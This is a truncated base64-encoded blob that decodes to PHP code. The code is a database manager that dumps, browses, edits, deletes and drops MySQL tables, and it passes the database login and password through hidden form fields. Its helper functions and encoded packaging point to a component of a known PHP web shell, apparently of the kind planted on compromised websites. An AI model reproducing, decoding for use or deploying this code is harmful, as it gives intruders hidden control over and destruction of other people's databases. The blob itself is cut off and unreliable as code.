giQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsKICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICAgICAgZWNobyAkcmV0OwogICAgICBleGl0OwogICAgIH0KICAgICBlbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKQogICAgIHsKICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICAgICAgaWYgKCEkZnApIHtlY2hvICI8Yj5EdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0byBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkuIlwiISI7fQogICAgICBlbHNlCiAgICAgIHsKICAgICAgIGZ3cml0ZSgkZnAsJHJldCk7CiAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7CiAgICAgIH0KICAgICB9CiAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9CiAgICB9CiAgIH0KICAgaWYgKCRkaXBsYXkpCiAgIHsKICAgIGlmICghZW1wdHkoJHNxbF90YmwpKQogICAgewogICAgIGlmIChlbXB0eSgkc3FsX3RibF9hY3QpKSB7JHNxbF90YmxfYWN0ID0gImJyb3dzZSI7fQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOwogICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAkcm93O30KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xzKSkgeyRzcWxfdGJsX2xzID0gMDt9CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQogICAgICRwZXJwYWdlID0gJHNxbF90YmxfbGUgLSAkc3FsX3RibF9sczsKICAgICBpZiAoIWlzX251bWVyaWMoJHBlcnBhZ2UpKSB7JHBlcnBhZ2UgPSAxMDt9CiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsKICAgICAkZSA9IGV4cGxvZGUoIiAiLCRzcWxfb3JkZXIpOwogICAgIGlmIChjb3VudCgkZSkgPT0gMikKICAgICB7CiAgICAgIGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQogICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9CiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICAgICB9CiAgICAgZWxzZSB7JHYgPSAiIjt9CiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PXN0cnVjdHVyZVwiPlsmbmJzcDs8Yj5TdHJ1Y3R1cmU8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1icm93c2VcIj5bJm5ic3A7PGI+QnJvd3NlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9MVwiPlsmbmJzcDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQogICAgIHsKICAgICAgaWYgKCFpc19hcnJheSgkc3FsX3RibF9pbnNlcnQpKSB7JHNxbF90YmxfaW5zZXJ0ID0gYXJyYXkoKTt9CiAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkKICAgICAgewogICAgICB9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iOwogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpCiAgICAgICB7CiAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsKICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgV0hFUkUiLiRzcWxfdGJsX2luc2VydF9xOwogICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7CiAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7CiAgICAgICAgJHZhbHVlcyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpOwogICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgfQogICAgICAgZWxzZSB7JHZhbHVlcyA9IGFycmF5KCk7fQogICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkKICAgICAgIHsKICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKICAgICAgICBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7JHYgPSAiIjt9CiAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiI8L2I+PC90ZD48dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD48dGQ+PHNlbGVjdCBuYW1lPVwic3FsX3RibF9pbnNlcnRfZnVuY3RzWyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIj48b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxvcHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNFUlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNFPC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJPTV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElNRVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRpb24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKS4iXCIgc2l6ZT01MD48L3RkPjwvdHI+IjsKICAgICAgICAkaSsrOwogICAgICAgfQogICAgICAgZWNobyAiPC90YWJsZT48YnI+IjsKICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsKICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9CiAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPiI7CiAgICAgIH0KICAgICB9CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiYnJvd3NlIikKICAgICB7CiAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsKICAgICAgJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOwogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICAgIGVjaG8gIltQYWdlc10mbmJzcDsiOwogICAgICAkYiA9IDA7CiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKQogICAgICB7CiAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9vcmRlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIiZzcWxfdGJsX2xzPSIuKCRpKiRwZXJwYWdlKS4iJnNxbF90YmxfbGU9Ii4oJGkqJHBlcnBhZ2UrJHBlcnBhZ2UpLiJcIj48dT4iO30KICAgICAgIGVjaG8gJGk7CiAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30KICAgICAgIGlmICgoJGkvMzAgPT0gcm91bmQoJGkvMzApKSBhbmQgKCRpID4gMCkpIHtlY2hvICI8YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30KICAgICAgfQogICAgICBpZiAoJGkgPT0gMCkge2VjaG8gImVtcHR5Ijt9CiAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOwogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IjsKICAgICAgZWNobyAiPHRyPiI7CiAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7CiAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspCiAgICAgIHsKICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsKICAgICAgIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9CiAgICAgICBlbHNlIHskcyA9ICJhIjsgJG0gPSAiZGVzYyI7fQogICAgICAgZWNobyAiPHRkPiI7CiAgICAgICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQogICAgICAgaWYgKCRlWzFdICE9ICR2KSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kZVswXS4iJTIwIi4kdi4iXCI+PGI+Ii4kdi4iPC9iPjwvYT4iO30KICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj5bc29ydF08L2E+Ijt9CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAgIH0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsKICAgICAgZWNobyAiPC90cj4iOwogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkKICAgICAgewogICAgICAgZWNobyAiPHRyPiI7CiAgICAgICAkdyA9ICIiOwogICAgICAgJGkgPSAwOwogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7ICR3IC49ICIgYCIuJG5hbWUuImAgPSAnIi5hZGRzbGFzaGVzKCR2KS4iJyBBTkQiOyAkaSsrO30KICAgICAgIGlmIChjb3VudCgkcm93KSA+IDApIHskdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7fQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsKICAgICAgICRpID0gMDsKICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KQogICAgICAgewogICAgICAgICR2ID0gaHRtbHNwZWNpYWxjaGFycygkdik7CiAgICAgICAgaWYgKCR2ID09ICIiKSB7JHYgPSAiPGZvbnQgY29sb3I9XCJncmVlblwiPk5VTEw8L2ZvbnQ+Ijt9CiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsKICAgICAgICAkaSsrOwogICAgICAgfQogICAgICAgZWNobyAiPHRkPiI7CiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPltEZWxldGVdPC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48Yj5bRWRpdF08L2I+PC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgIH0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj5ePHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsKICAgICB9CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQogICAgIGVsc2UKICAgICB7CiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsKICAgICAgJGkgPSAwOwogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOwogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkKICAgICAgewogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07CiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOwogICAgICAgJHNpemUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7CiAgICAgICBlY2hvICI8dHI+IjsKICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOwogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJSb3dzIl0uIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlR5cGUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVXBkYXRlX3RpbWUiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHNpemUuIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+W0VtcHR5XTwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj5bRHJvcF08L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX2FjdD1pbnNlcnQmc3FsX3RibD0iLiRyb3dbIk5hbWUiXS4iXCI+PGI+W0luc2VydF08L2I+PC9hPiZuYnNwOzwvdGQ+IjsKICAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgICRpKys7CiAgICAgIH0KICAgICAgZWNobyAiPHRyIGJnY29sb3I9XCIwMDAwMDBcIj4iOwogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj67PC9iPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+Ii4kaS4iIHRhYmxlKHMpPC9iPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxiPiIuJHRyb3dzLiI8L2I+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzFdLiI8L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTFdLiI8L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48Yj4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L2I+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PC90ZD4iOwogICAgICBlY2hvICI8L3RyPiI7CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+XjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk